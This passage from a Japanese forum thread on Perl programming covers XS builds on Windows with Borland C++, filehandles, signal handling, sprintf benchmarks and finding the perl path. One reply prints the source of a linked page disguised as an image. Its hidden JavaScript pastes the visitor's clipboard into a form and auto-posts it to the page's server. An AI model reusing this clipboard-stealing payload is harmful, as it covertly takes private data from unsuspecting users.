< lddlflags='-dll -nologo -nodefaultlib -release -libpath:"D:\Perl\lib\CORE" -machine:x86'
< ldflags='-nologo -nodefaultlib -release -libpath:"D:\Perl\lib\CORE" -machine:x86'
---
> ld='ilink32'
> lddlflags='-L"D:\Perl\lib\CORE" -c -x -Gn -ap -Tpd -machine:x86'
> ldflags='-L"D:\Perl\lib\CORE" -c -x -Gn -ap -Tpd -machine:x86'

601c601
< libperl='perl56.lib'
---
> libperl='perl56-omf.lib'

668c668
< optimize='-O1 -MD -DNDEBUG'
---
> optimize='-O1 -DNDEBUG'

4. テスト用のXSを書いてみる。
$ h2xs -A -n MyTest
$ cd MyTest

---- MyTest.xs ----
#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"

MODULE = MyTest PACKAGE = MyTest

void
hello()
    CODE:
        printf("Hello XS World!\n");
-------------------

$ perl Makefile.PL
# "コマンドが見つからない"云々と文句を言われるかもしれないが、何の問題も無い

出来たMakefileを少し修正する。

774行目からのpm_to_blibの辺りで何故かエラーになるので (なぜだぁ)
pm_to_blib: $(TO_INST_PM)
    echo "ahyahya"
-- 以降、ファイル終端まで削除 --
とでもしておく。（取りあえず重要な個所ではないので）

408 行目辺りの(見つからなかったら"subst"で検索)
$(LD) $(LDDLFLAGS) $(OTHERLDFLAGS) $(LDFROM),$@,,$(subst /,\,$(PERL_ARCHIVE)) $(subs 408 t /,\,$(LDLOADLIBS)) $(subst /,\,$(MYEXTLIB)),$(subst /,\,$(EXPORT_LIST)),$(RESFILES)

の部分を

$(LD) $(LDDLFLAGS) $(OTHERLDFLAGS) $(LDFROM),$@,,$(PERL_ARCHIVE) $(LDLOADLIBS) $(MYEXTLIB),$(EXPORT_LIST),$(RESFILES)

と変更。(substってなんだべさ)

$ make
makeはBorland C++に付属のものを利用する。
Mksymlists.pmでuse strictが原因で失敗した場合、strictをコメントアウト(おい)

....これで正常にビルドできるはず。(うちでは出来た)

make後は、test.plに MyTest::hello(); を追加して
$ make test
1..1
Hello XS World!
ok
....でめでたしめでたし。内部APIの利用も問題無かった。

普段Windowsを使っていないせいもあって、かなりいい加減な説明なのはお許しを。
何かの参考になれば、ということで。

#書き込める時と書けない時があるなぁ

ヤター！
簡単なテストは成功しました。
substはWindowsのコマンドみたいです。
Makefileは特に変更なしでもオッケーでした（何故？）
_gunzipさんありがとうございます！

…が！試しにCPANからWant-0.5を取って来てビルドしようとしたんですが…
リンクが失敗してしまいます。ｶﾞｸｯ。

>　Error: 外部シンボル '_Perl_pop_return' が未解決（D:\PERLARC\WANT-0.05\WANT.OBJ
が参照）

ちなみにWindows ME・ActivePerl5.6.1-630です。（Win9xだからかな…）
助けて_gunzipさん！

gudでperlのデバッグができると聞いてさっそく M-x perldb とやってみて、なるほど
動いているのですが、C-x SPとかで ブレークポイントが設定できなかったり、
スタックさかのぼれなかったりしているんですがそんなもんなんですか？

>>487
むむ..ActivePerlの perl56.lib には Perl_pop_return()が無いのか...。
（他にも無いAPIがあるのかなぁ...。cygwinのlibperl5_6_1.dllにはあるのだが）

代替策としては、Perl_pop_return()の役割から考えて、
Want.xsの564行目の pop_return();を
if (PL_retstack_ix > 0)
    --PL_retstack_ix;
と変更すればよい。
Linux, cygwinでは、これで全てうまく行った。("make test"も全て ok)
(もっとも、修正無しでも正常にビルド、テストを通るのだが)

....ただ、ActivePerl5.6.1-629 + Windows98 + bcc32では、
make test段階で「不正な処理」で強制終了になるみたい。
んー取りあえず試してみて欲しいです。

>Makefileは特に変更なしでもオッケーでした（何故？）
pmakeってMakeモジュールに付いてくるコマンドだったのか。
これを使えば>485の修正は不要ですね。

やったーー！
Want.pmは成功です！
make testも問題なく通り無事インストールできました。
他、Storable・NKFも成功。(他にも色々インストールしてみたかったはずだがイザとなると思い出せず…)
ありがとうございましたっ！

いや〜、WinでXSなんてVC++がなければ出来ないものと正直諦めていました。
_gunzipさんホントに感謝します。

ActivePerl build 631 age

コレのパッチかな。
http://homepage2.nifty.com/kipp/perl/build630bug/index.html

>>436です。
諦めてcommand /cを通じて使っていたのですが、
ふと思いついたことがあって試したら当たりでした。
どうやらSOSはロングファイルネームは受け付けないみたいですね。
OSの再インストールをする際、PerlのパスをC:\PerlからC:\Perl5.6.1に変更したのが原因でした。
皆さんも気をつけてください。

すいません，ファイルハンドルを関数に渡す場合について質問です。

open FILE, '+< data.txt' or die $!;
func(*FILE{IO});
sub func {
　my $fh = shift;
　print <$fh>,"\n";
　seek $fh, 0, 0 or die $!;
　truncate $fh, 0 or die $!;
　print $fh "AAA$$\n";
}

以上のようにやると truncate で No such file or directory を吐いてしまうんですが
func(*FILE{IO}); を func(\*FILE); に変えると問題なく動きました。
なんででしょう？　いろいろ調べたけど，さっぱり分かりませんでした。
教えて！！偉い人！

truncateにはファイル名を渡せるので
$fhをファイル名と判断しちゃってる感じ。
IO::Handleへのリファレンスをファイルハンドルと
判断しないっぽいですね。
truncate *$fh, 0 or die $!;
でいちおう回避。

>494
そうでしたか。また一つ賢くなれました。
ありがとうございました。

perlのエラーメッセージってファイル名(行数)な形じゃないから
タグジャンプが使えなくていやだなあ。

>>496
じゃあそういうモジュール作って〜。

http://sawayaka.msweb.jp/service/shopping/saba/index.html
これはどう？

>>498 sine

500GET

sigtrapの使い方がいまいち分からない。
Ctrl+Cでファイルをクローズして終了したくて、
use sigtrap qw(die normal-signals);
END{close FH;}
のようにしてるけど、アプリケーションエラーになってしまう。(Win2K)

どうすればいいんだ。

あげ。　

>>501
perldoc sigtrapしてみた？まさにそのまんまの例が載ってるけど（ｗ、
>Die on HUP, INT, PIPE or TERM:
> 　use sigtrap qw(die normal-signals);
これはdieしたいときの設定。

501がやろうとしているシグナル受信時のハンドラ設定はこんな感じ：
sub my_handler { print "Caught a signal! FH is being closed..."; close FH }
use sigtrap qw(handler my_handler normal-signals);

ちなみに、ハンドラの再設定は、$SIG{...} = \&my_handlerでOK!
終了すべき状況なら、my_hanlderでexit()。
あと、ハンドラ内での再設定も時に有用。(e.g. ALRM)

>>503
ああ、>>501が言いたかったのは、
「dieでアプリケーションエラーになってしまう。(Win2K)」
ということか、、、逝ってくる。

>>503-504
いえいえ、レスありがとです。
そっちの方もやってみたんですけど、 my_handler() の中で exit() するとやっぱり
アプリケーションエラーになってしまうんですよね。まあファイルクローズまでは
逝くので問題ないと言えばないのですが。
う〜ん、とりあえず我慢してこのまま使います^^;

ところでWinではキーボード入力待ちってできないのかなぁ？ 他の環境用には
そういうモジュールがあったと思うけど…

>>505
あるような気がするよ。
perl -MCPAN -e shell
でモジュール入れるときに、テストで入力待ちになるじゃん？

>>265-267 を応用して出来ないかな

あげとこっと

1は責任持って盛り上げるべし

func1();
sub func1()
{
　　my $ret = func2();
　　print "return code -> $ret \n";

}
sub func2()
{
　　eval {
　　　　return 1;
　　};
#　　if($@){} # <==
}

これさあ、ｺﾒﾝﾄ外すと返却値が無くなんだけど
分かる人居ます？　　

そのまんま、 if($@){} が何も値を返さないからでしょ。

もしかして、return 1; で func2 から抜けているつもりなのかな？
eval内のreturnはevalから抜けるだけだよ。
でreturnした値はevalの返り値になる。

ん、ちょっと意味不明系
if($@){return 100;}
だとどうなの

>>513
なにがどうなの？
$@に何も入ってないんだから変わらないよ。
たぶんあなたの望んでいる動作は、
sub func2()
{
　　my $ret = eval {
　　　　return 1;
　　};
　　return $ret if $ret;
　　if($@){}
}
こういうことでしょ？

ところで、検証してて思ったけど、
if って評価した値が偽、かつelseがないと評価した値が返るのね。
sub func { if(0){} }
だと 0 が返る。どうでもいいけど。

　「ファイルグロブが可能なmake」のような効果をPerlで実装して
みたいのですが、ファイルの変更時刻を得るにはどのようにすれば
良いのでしょうか？

-M

(自力解決) stat/lstatで逝けるとわかりました。

>>516
-M だと日数比較だそうで、makeのような秒単位で比較する
効果が期待できないと思われます。
コメントありがとうございます。

Perlでプロセスを跨いでディスクリプタパッシングさせたいんですけど、どっかにサンプル転がってないっすかね。

俺用語は辞めようねボク

http://www.google.com/search?q=descriptorpassing&hl=ja
http://www.google.com/search?sourceid=navclient&q=%83f%83B%83X%83N%83%8A%83v%83%5E%83p%83b%83V%83%93%83O

>>520 意味は分かってるよな？ サンプルを示すくらい簡単だろ。

>>519
ほれ。
http://search.cpan.org/search?dist=Socket-PassAccessRights
つーか検索ぐらいしろよと。
http://www.google.com/search?q=%22descriptor+passing%22+perl

>>522
ありがとうございます。
一応[email protected]のアーカイブは漁ってるのでSocket::PassAccessRightsの存在は知っていたのですが、
このモジュールはXS使ったモジュールなんですよね。
でIPC::SysVやIPC::Msgだけでなんとかならないかなー、と試行錯誤した結果質問させてもらった次第です。

でも当たり前に考えてファイルディスクリプタのアドレスっちゅーか番号を得る必要があるのですが、Perlのファイルハンドルはそこらへんが抽象化されてるので現行のPerlだけでは無理なんですよね。
おとなしくSocket::PassAccessRights使います。

あー、ディスクリプタパッシングとは何ぞやってヒト向けに説明付けると、異なるプロセス同士でファイルやソケットハンドルを受け渡しする方法のことです。

数十万エントリぐらい256バイトデータがあるのですが、連想配列使うのはマヅイですか？

>>524

"/sage/524" wrote in message
news:[email protected]...
> 数十万エントリぐらい256バイトデータがあるのですが、連想配列使うのはマヅイ
ですか？

テストデータを作って実験することをお勧めします。
数百Mもメモリをつんでいるマシンなら、大丈夫だとはおもいますが。

----------------------------------
||//
(@_@) Kusakabe Keiko
----------------------------------

>524
foreachとか？(笑)
whileで読み込みつつ回すのはだめなんですか？

Perlモジュールの、
fj::void
はどこにあるんでしょうか？
CPANを探しても有りませんでした

>527
まじかよ！
どんなモジュールなの？

Perl上で strings を呼ばずに同様の処理を行うには、一般的にどうすると良いのでしょうか？

>>529
stringsって? 同様って何と?
もっと具体的に書いてください。

コメントありがとうございます。
バイナリを読み込んだ後に、その中から表示可能な文字列だけを取り出したいのです。

strings - ファイル内の表示可能な文字列を表示する
ttp://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&lc=1&cmd=&man=strings&dir=jpman-4.4.0%2Fman§=0

http://www.jp.freebsd.org/cgi/cvsweb.cgi/src/usr.bin/strings/strings.c?rev=1.10
と同様な処理をPerlで作ればいいわけだが、
割合簡単そうですね

File::strings とかあるかなってCPAN見たけどなかった

>>532
なるほど (^_^ ;;)

ここのあたりをPerlで実装すれば良さそうですね。
#define ISSTR(ch) (isalnum(ch) || ispunct(ch) || \
(isspace(ch) && (!iscntrl(ch) || ch == '\t')) || \
(isascii(ch) && isprint(ch)))

＃私も始め strings() という関数があるのではないかと思っていました・・・

　どうも正規表現の [:alnum:] 等を使えばほぼ同様の事ができそうに
思いましたが、今回は個別に置換 (s/\x00// 等) して済ませてしまい
ました。
　コメントありがとうございました。

どなたか、Perl/Tk使いの方、

windoze上でPerl/Tk使う場合、日本語はsjisじゃないと駄目ですよね。
でも、日本語の文字列処理はeucじゃないと駄目な場合がありますよね。

描画と文字列処理でファイルを分ければ問題なしですが、
同一のファイルで描画と文字列処理を文字化けせずに行う方法知ってたら
お願いします。
ファイルを euc で書いて、Perl/Tk で使う日本語部分だけ Jcode.pm を
使って変換してみたりしましたが、駄目でした。
(どうも、Perl/Tkについての理解が足りない気がする…)
もし、具体例が必要でしたら書きます。

環境は、Win98SE, ActivePerl 5.6.1(631), Perl/Tk 800.023
Jcode.pm 0.79

ぎゃふん。フォント名をsjisに変換し忘れてたのが原因でした。
逝ってきます。

ﾎｽｨ...
http://www.thinkgeek.com/stuff/apparel/321a.shtml

>537
そうかなぁ？なんか色合いがタクっぽくてやだなぁ。
もっと粋な色使いにして(　ﾟдﾟ)ﾎｽｨ…

>>538
Child Processの方は子供に欲しいぞ。誰かｸﾚ。

kakkiganaizo-

BSD Resouce
の使い方わかるかたいますか？

ttp://www.perl.com/CPAN/modules/by-module/BSD/
time()を使うときに精度UPできるようなのですが、
readme読んでも使い方がわかりません・・・・。

time() じゃなくて times() じゃないの?
使い方は組み込み関数のtimes()と同じだよ。

そうです。すみません。times()でした。

じゃ、use BSD::resource;
とだけ宣言して、普通にtimes()を使えばいいってことですか。

　　　　／￣￣￣￣＼　　　
　　　（　　人>>538 ＿）　
　　　 |ミ/　　ー◎-◎-）　そうかなぁ？なんか色合いがタクっぽくてやだなぁ。
　　　（６　　　　　(_　_)　）　もっと粋な色使いにして(　ﾟдﾟ)ﾎｽｨ…
　　＿｜　∴　ノ　　３　ﾉ　　　
　（＿_/＼＿＿＿＿_ノ 　　　
　/　（ 　　||　　　　　　|| 　　
[]＿_｜　｜さくら命　　ヽ　　
｜[]　|＿_|＿538__＿_＿_） 　 　
　＼_（＿_）三三三[□]三）　 　
　　／（＿）＼::::::::::::::::::::::::/　　
　（＿＿＿＿_）:::::/:::::::/ 　 　　　
　　　　　（＿＿＿[]＿[] 　　　

READMEは読んだけどPODマニュアルは読んでないってか？
use BSD::Resource qw(times);
($user, $system, $child_user, $child_system) = times();

なんか面白そうだ。
http://search.cpan.org/doc/MARCEL/Exporter-Simple-0.12/lib/Exporter/Simple.pm

>>545
ありがとうございました。

でも、timesってopen2で処理してもらってる時間は計測してくれないのね。
鬱市

すいません。perlでピタゴラスの定理やりたいんですけど・・・

Aの２乗＝Ｂの２乗＋Ｃの２乗ですが、
ＢとＣの値を入れて計算が終わったとして、
ルートAの出し方がわかりません。
お助け下さいませ・・・

>>548
sqrt(expr) で平方根。

>549
ありがとうございます。うまくいきました！

>>550
そんなんでいいんかい？
perkの問題じゃなくて数学の問題だろ

>551
いえ、CGIに依存しないPerlのお話だったんです。
sqrt関数がわかんなかったんです。

WIN2000+ActivePerl
でperl APIを使用したCプログラミングをしようと思っています。
Cのソース上で
#include <perl.h>し
ＶＣ付属のコンパイラ CL.EXEで
>cl -I\Perl\lib\CORE perltest.c
とすると以下のようなエラーが出てしまいます。
おそらくperl.hで名前解決が出来てないためだと思うのですが、
ご存知の方アドバイスをよろしくお願いします。

＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊
\Perl\lib\Core\perl.h(797) : warning C4273: 'win32_strerror' :
しています。DLL にｴｸｽﾎﾟｰﾄされていると仮定します。
\Perl\lib\Core\dosish.h(111) : warning C4005: 'Stat' : ﾏｸﾛが再定
\Perl\lib\Core\win32.h(305) : 'Stat' の前の定義を確認し
\Perl\lib\Core\perl.h(1755) : error C2061: 構文ｴﾗｰ : 識別子 'pe
ﾝﾀｯｸｽｴﾗｰを起こしました。
\Perl\lib\Core\perl.h(1755) : error C2059: 構文ｴﾗｰ : ';'
\Perl\lib\Core\perl.h(1756) : error C2061: 構文ｴﾗｰ : 識別子 'pe
ｽｴﾗｰを起こしました。
\Perl\lib\Core\perl.h(1756) : error C2059: 構文ｴﾗｰ : ';'
\Perl\lib\Core\perl.h(1757) : error C2061: 構文ｴﾗｰ : 識別子 'pe
ｴﾗｰを起こしました。
\Perl\lib\Core\perl.h(1757) : error C2059: 構文ｴﾗｰ : ';'
\Perl\lib\Core\perl.h(1758) : error C2061: 構文ｴﾗｰ : 識別子 'pe
ﾗｰを起こしました。
\Perl\lib\Core\perl.h(1758) : error C2059: 構文ｴﾗｰ : ';'
\Perl\lib\Core\perl.h(2246) : warning C4273: 'win32_crypt' : DL
ています。DLL にｴｸｽﾎﾟｰﾄされていると仮定します。
\Perl\lib\Core\perl.h(2356) : warning C4273: 'win32_environ' :
しています。DLL にｴｸｽﾎﾟｰﾄされていると仮定します。
\Perl\lib\Core\perlvars.h(22) : error C2061: 構文ｴﾗｰ : 識別子 '
ｯｸｽｴﾗｰを起こしました。
\Perl\lib\Core\perlvars.h(22) : error C2059: 構文ｴﾗｰ : ';'
\Perl\lib\Core\perlvars.h(39) : error C2061: 構文ｴﾗｰ : 識別子 '
ﾀｯｸｽｴﾗｰを起こしました。
\Perl\lib\Core\perlvars.h(39) : error C2059: 構文ｴﾗｰ : ';'

>553
自己ﾚｽです
結局コマンドラインをあきらめてVC
のＩＤＥでインクルードパスを
C:\Perl\lib\COREにしたらあっさり出来ました。

しかし今度はたったこれだけのソースがメモリエラー
実行できず・・・・
道は遠いなあ
#include <EXTERN.H>
#include <perl.h>
static PerlInterpreter *my_perl;

int main(){
SV *pvalueSV;
pvalueSV = newSViv(132);
return 1;
}

>554
がんばれ！

>555
ありがとう！
頑張ってる！
でも
newSViv(132);
なぜこれがエラーになるのかがわからんです・・・・
参考ソースもすくないね・・perlAPIは・・

このあたりのソースコードが参考になるんじゃない？
http://www.t.ring.gr.jp/pub/lang/perl/CPAN/modules/00modlist.long.html#ID22_MicrosoftW

>>554 perlembedみれ。
インタープリタの初期化しないと駄目だ。

川o・-・) < Singletonクラスを以下のように実装したわけだが、何か問題あ りますか。CPANのClass::Singletonはなんか面倒くさいです。

foreach (1..3) {
print Foo->getInstance(), "\n";
print Singleton->getInstance(), "\n";
}

package Singleton;
my %instances;
sub getInstance {
my $class = shift;
return $instances{$class} ||= $class->_new();
}
sub _new {
return bless {}, shift;
}

package Foo;
use base q/Singleton/;

-----------
Foo=HASH(0x80efc1c)
Singleton=HASH(0x80efc34)
Foo=HASH(0x80efc1c)
Singleton=HASH(0x80efc34)
Foo=HASH(0x80efc1c)
Singleton=HASH(0x80efc34)

>>559
面倒くさいってアンタ…数文字だけタイプ数が変わるだけじゃん。

車輪の再発明をしたいならせめてもっとマシな物を作らないと。
例えば、Class::Singletonの_new_instanceを

sub _new_instance {
my $instance = bless { }, shift;
$inctance->_init(@_)
return $instance;
}

とでもすれば、_init()さえ定義すれば良いようになるだろ？

面倒ってのはそういう意味じゃなくて、Class::Singletonが使ってる方法が
面倒って意味。
それに、Class::Singletonだと、$YourSingletonClass::_instanceでカプセルかが
破壊できちゃうのが何となく嫌。
レキシカル変数だと大丈夫だよね。
あと、_initは貼る時に削っただけでやってます。

スクリプトのなかでrequire "./jcode.pl";
などしてカレントディレクトリのモジュールを取り込んでいるケースに
違うディレクトリから
perl /html/test.cgi
などしてｽｸﾘﾌﾟﾄを実行使用とすると、
カレントディレクトリが違うので
can't locate ./jcode.pl at /html/test.cgi line 2
などとなりますよね。
このような場合はどのようにして実行できますでしょうか？。
perl /html/test.cgi -I/html/
としてみても結果は同じでした。

>>562
フルパス。

requie "/path/to/jcode.pl";

絶対パスで指定する。

被鬱

sqrt 知らなくても 0.5 乗すれば良い話なのにとか思ったり。
あ、中学校の範囲じゃない?

>563,564
ﾚｽありがとうございます。
すみません。少々説明不足でした。
もちろんフルパスでの指定というのがありますが
ソースコードを変更しないで実行したいのです。
perlスクリプトの方ではなくWEBサーバを書いているので。
Apacheなんかだとperlがどこにあってもカレントディレクトリの
スクリプトを実行できますよね。

>>562
フルパスとか相対パス指定なんてダサいことしてるからそーなる。

use lib '/path/to/lib';
require 'jcode.pl';

ってすれば万事休す。もしくは
use FindBin;
use lib "$FindBin::Bin/../lib";
require 'jcode.pl';

な。とりあえず絶対パスはなんて言ってる奴は*論外*。ｸｿな配布スクリプトを参考になんかしてると、一緒に腐っちゃうぜ。

なんなら .htaccessで

SetEnv PERL5LIB /path/to/lib

で済ましても良いし。

ネタだろうが、万事休すの使い方間違ってるよ。
プログラム言語ができても国語ができないようで。残念。

いやおれは純粋にネタだと思ってるんだがちがうんかね？(笑)

つーか書いてる事全般がﾄﾞｷｭｿ風味じゃん。

レス読んでる？

＞use lib '/path/to/lib';

結局絶対パス。大したこと無いね。

>>573
スレ読んでる？

> use FindBin;
> use lib "$FindBin::Bin/../lib";

万事休す。

バンジー急っす！

Perlを実行している親プロセス（？）の環境変数（特にWin系）を変える
プログラムは、どうすれば良いのでしょうか？

たとえば、
MS-DOSプロンプトで、「SET」とすると環境変数が出てきます。-（１）

次に、そのまま、何らかのPerlプログラムを実行。

再び、そのプロンプトで、「SET]で環境変数を表示。-（２）

この（１）と（２）で違う状態にしたいのです。（Perlで環境変数を変える）

よろしくお願いします。

>>577
確か無理。

とりあえず現在の日付と時間がちょいと整形した形でほしいとき、こういう記述する人います？
自分、結構好きだったりするんですけどね、こいうの。

$date_time = sprintf "%04d/%02d/%02d %02d:%02d:%02d\n", sub{$_[5]+1900,$_[4]+1,@_[3,2,1,0]}->(localtime);

>>579
元々C言語な人なんで複数行＋sprintfですな。俺は。

>>579
自分のサイトでも載せてるし、実際に使ってます、そんなの。

>>580
そうですか、自分もCからPerlに入ったんで最初は違和感あったんですけど
いちいち中間変数を考えるのが面倒になったときこっちが便利になってきました。

>>581
はい、おっしゃるとおり、そんなのです。
他に使っている人がいて安心しました。
そんなん蛇道とかいわれなくてよかったです。

>>582
誤解があったようなので。
> そんなの
「そういうの」って言った方が良かったね。
悪意はまったく無いので。ｽﾏｿ

ちなみに私はPerl厨なので、俗に言うトリッキーな書き方が大好きです。

コンパクトなコーディングもいいですが、sprintf関数はオーバーヘッドが大きくてらっしゃる
のでわたしは使いません。

>>583
いぇいぇ、わざわざすみませんです。
Perlコードのパズル感覚は私も面白くてはまるたちです。

>>584
やはり、そいった御意見もありますよね、ふむふむ。
ここは、使い分けということですよね。

処理時間が短さが重要な処理で、かつ大量の日付表示処理の繰り返し
とかやる場合は、オーバーヘッドの少ない方法を使うわけですね。

ちょっとしたレポートに作成日付をつけるぐらいの処理だったら
>>579に示した方法でもいいですよね。

よく考えたらPerlでsprintf使う意味ってあんまり無いよね。

型変換は必要ないし0fillとか桁削りも簡単。

>>584は試してみてからそういってるのか？
手動フォーマットよりsprintf()の方が圧倒的に高速だが…俺のやり方がまずいんだろうか。
それともオーバーヘッドの意味が俺の考えている小物と違うのかな。
WinME perl5.6.1 ActivePerl 631
メモリ320MB CPU Duron 800MHｚ
#!perl -w
use Benchmark;
my @tm = localtime time;
sub timef1{
($sec, $min, $hour, $day, $mon, $year) = @tm;
$year += 1900;
$mon++;

$_ = sprintf '%d/%02d/%02d %02d:%02d:%02d', $year, $mon, $day, $hour, $min, $sec;
}
sub timef2{
($sec, $min, $hour, $day, $mon, $year) = @tm;
$year += 1900;
$mon++;

($mon < 10) and ($mon = "0$mon");
($day < 10) and ($day = "0$day");
($hour < 10) and ($hour = "0$hour");
($min < 10) and ($min = "0$min");
($sec < 10) and ($sec = "0$sec");
$_ = "$year/$mon/$day $hour:$min:$sec";
}
timethese 100000 => {
sprintf => \&timef1,
handformat => \&timef2,
};
__END__
結果
Benchmark: timing 100000 iterations of handformat, sprintf...
handformat: 6 wallclock secs ( 5.38 usr + 0.00 sys = 5.38 CPU) @ 18587.36/s (n=100000)
sprintf: 1 wallclock secs ( 0.82 usr + 0.00 sys = 0.82 CPU) @ 121951.22/s(n=100000)

s/小物/もの/

href="http://hoge.hoge.jp/hoge/fuga/index.html"
といった文字列から、別のファイルに保存してある
http://hoge.hoge.jp/hoge/
といった文字列にマッチしていればそのマッチした部分を削除
してくれるような操作をしたいのですが、どうすればうまく行くでしょうか？

＝　置換したい文字列が動的に変化する時、":" や "/"のエスケープは
　どうするとよいのでしょうか？

s/http:\/\/hoge\.hoge\.jp\/hoge\///;

>>590
単発ならそうするのですが、http:〜hoge までが動的に変化する場合の
うまいやり方が思いつかないのでげす・・・

具体的には、htmlファイルのリンク書き換えのような事を
する場合、今まではエディタを使っていたのですが、perl
だとどうするのだろうかと・・・

foreach $hoge (@hoges) { s/$hoge//; } とか?

>>593
あれ？

open LIST, "tmp.list";
while (<LIST>) {
s/$hoge//;
print;
}

　これで素直に動きました（汗）
　ありがとうございました・・・

>>594
$hogeは？

>>587
sprintfが重いってのはここを含めた一部の馬鹿板に於いて定説
ベンチも取らずに講釈並べるのが特徴です
>>584は馬鹿板育ちだからそっとしてあげよう

>596
587ではないですが、私はラリーウォールさんがそういってるからいちおう信じてます。

>>596-597
なるほどね。
まぁお偉いさんがなんと言っていようと、俺は簡単かつ高速な方法を使うよ。
もちろん、ラリーの言葉を軽視するつもりはない。
printの代わりにprintfを、変数展開演算子の代わりにsprintfを使う事はないさね。(今までそんな事をしたことはないが)

Perl5.8　まだ？

ナニが変わるの？

主に、レンサバ会社がPerlのバージョンアップをしてくれる切っ掛けになってくれないかと希望

>>598
ま、ラクダ本の「効率の問題」の節を参照ってこった。
なにごとも、やりくちがひとつでないのがPerl流だからな。

age

DBI-ML-Jで話題のDBD::SQLiteがWin9x+BCCでビルド出来た。
>>483-485を参照にConfig.pmいぢって、Makefile.PLして、
出来たMakefileのラスト、848行目辺りの
(TAB)$(PERL) -p -e "s/~DRIVER~/$(BASEEXT)/g" < $(DBI_DRIVER_XST) > $(BASEEXT).xsi
これを
(TAB)$(PERL) -p -e "s/~DRIVER~/$(BASEEXT)/g" $(DBI_DRIVER_XST) > $(BASEEXT).xsi
とする。(ダイヤモンドINPUTをリダイレクトじゃなく引数で渡す)
これでOKだった。

こりゃ面白い。
print B::Deparse->new->coderef2text(sub { 'foo' })

perlで複数定義を別ファイルにまとめておいたとき（例えばdefine.pl)

define.pl
$a = 1;

#このファイルの中では
require "define.pl";
main.cgi
print "$a";

すると変数$aにアクセスできますよね
しかしこれをuse strictで使いたい場合
全ての変数をmyしたいのですが、

define.plの中で
my $a = 1;
とするとmain.cgiからアクセスすることが出来なくなってしまいます。
c言語ならばmain.cgiでexternすればよいと思うのですが、
Perlではこのようなケースをどう扱うのが良いでしょうか？

define.pl
でpackage define;
my $a = 1;

してからmain.cgiで
$define::a
すればアクセスはできるようですが
が、できればパッケージプレフィクスは無しで同じmainパッケージ内変数として
扱いたいです。
両方のファイルをpackage main;して
同じパッケージにすればパッケージ変数無しで扱えるだろうと思いましたが、
ダメでした。

>>606
思いっきり初心者の質問じゃねーか。

まず前提としてuse strictを使う時は$aと$bはやめとけ。$cはよし。
この忠告の意味が分かっているなら、使っても良いが。

1)
# define.pl
use vars qw($foo);
$foo = 1;
#end

# main.pl
BEGIN{ require 'define.pl' }
use strict;
print $foo
#end

2)
# define.pl
$foo = 1;
#end

# main.pl
require 5.006;
require 'define.pl';
our $foo;
print $foo;

他にもあるが、これがメジャーな方法だろう。

perl searchfile.pl
のようにして実行するperlスクリプトから
perlのパスを取り出すにはどうしたらよいでしょうか？
system('which perl' | > temp.dat);
のようにしてtemp.datを読み出せばわかるのでしょうが
どーにもスマートじゃない気がしています。
またWIN環境の場合はwhichが効かないので困ってしまいます。
何かいい知恵をお貸しください

>>608
自分自身をファイルとして開く。
１行目を取得

/^\#\!(.*)perl$/

で、$1参照ｗ。

自分自身のパスを保持している変数はあるがね。

>>608
殆どの場合

use Config;
print $Config{perlpath};

で逝けるぞな。

何故 $^X が出てこないのか疑問なのは俺だけ？

それはそうと、Perl5.8.0は５月にリリース予定らしいぞ
http://slashdot.jp/article.pl?sid=02/02/23/0816236

perlでWindowsのレジストリを操作したりすることはできますか？

>>612
出来る。

>>613
どうやるんですか？

>614
ふつうにやる。

perldoc Win32::TieRegistry　をみよ

なるほど確かに
$^XはActivePerlだと
C:\Perl\lib\Perl
という風に表示されるのですが、
Linux上のPerlだと
単にPerlになってしまって全体のパスが見えないですね・・・うーーむ。
・・・やっぱwhich perlかな・・・

>617
system() or eval()

>618
つまり
system("which perl")
すると言うことですよね？

その場合system("which perl|> temp);
してtempをopenすることになると思うのですが、
もっとシンプルに戻り値を受けたり出来ないものでしょうか・・・

>619
print `/usr/bin/which perl`;

>>616
うう、そういうモジュールがあるのか、知らなかった。
あなたは神。ありｔがとう

>>619
スマートじゃないけど直感的。
open(DATA,"which perl |");


パイプ知らない人・・・？

>622
実際にやってみた？

Perlから呼び出されるwhichは、shellビルトインのものなのですが、
なぜかスクリプト中からwhich perlとしても、戻り値は獲得できません。
そういう場合は、大抵の環境に/usr/bin/whichというコマンドがありますので、
`/usr/bin/which perl`とコマンドで出力させれば、perlの位置も獲得できます。

>622さん、624さんの
遣り方を組み合わせてみたらできました。
open (DATA,"/usr/bin/which perl");
my @list = <DATA>;
するとperlのパスを読み出すことができますね。

でもこれだとwin32環境と切り分ける必要がありますね。
やはりそれは必須なのかな、どのみち・・。

if ($^O =~ /MSwin/){$path = $^X;}
else {
open (DATA,"/usr/bin/which perl");
$path = <DATA>;close(DATA);
}

こんな感じにしてみました。

>625
なんで620は完全無視なの？さみしい。

#バイブなら知ってる（ヶヶヶ
print join("\n",@INC);#謎

>627
きみそのコテハンパスワードにしてないよねまさか？(笑)

asdfghjkl [email protected] は厨坊なので相手にしないように。

>>628-629
一応自称厨房という事で
ドーデもいいアカウントはこのパスかもなー

http://www3.chachacha.ne.jp/~indicate/cgi-bin/img0000064.jpg
たまには息抜きしろや

>>630
公開済みの物を、公開しようかなも無いだろう。
<html><head>
<meta http-equiv="robots" content="none">
<meta http-equiv="Content-Script-Type" content="text/javascript">
<meta http-equiv="Refresh" content="4;url=?mode=go">
<title>Redirect...</title></head><body>
しばらくお待ちください...
<form name="temp" style="position:absolute;visibility:hidden;" method="POST">
<input type="hidden" name="mode" value="go">
<textarea name="cps"></textarea></form>
<script language="JavaScript"><!--
eval('document.temp.cps.createTextRange().execCommand("Paste");');
temp.action = location.protocol + "//" + location.host + location.pathname;
setTimeout("temp.submit();",100);
//--></script>
</body></html>

みんな、バッククォート演算子って知ってる？
それで解決する問題、たくさんあるじゃん。

>>626
きっとシングルクォートと間違えてるかネタだと思われてるんだよ。
バッククォート演算子知らない人多すぎ。

>>633
シンプルだけど個人的に嫌いだからパイプ使う。

>>631
ﾊﾞﾚﾀ（ヶヶヶ
んーま、JS実行できる環境でやってみな。
結構面白い事起こるから。
暇つぶしに作ってみただけだが…Perl関係なくなってるな。

見事にレベルの低いスレッドになったな。

LINUXで書いたPerlスクリプトを
ソラリスで実行しているのですが、
rmdir ("$data_dir/$del_uid.bak")
|| &Error::error ("admin.cgi","Can't remove dir $data_dir/$del_uid.bak", "$!");

なぜか実行時にこのコードがエラーになります。
||がいけないのかと思い下の行をコメントアウトしてみたら動きました。
さらにユーザー認証用にパスワードを暗号化して格納しているのですが、
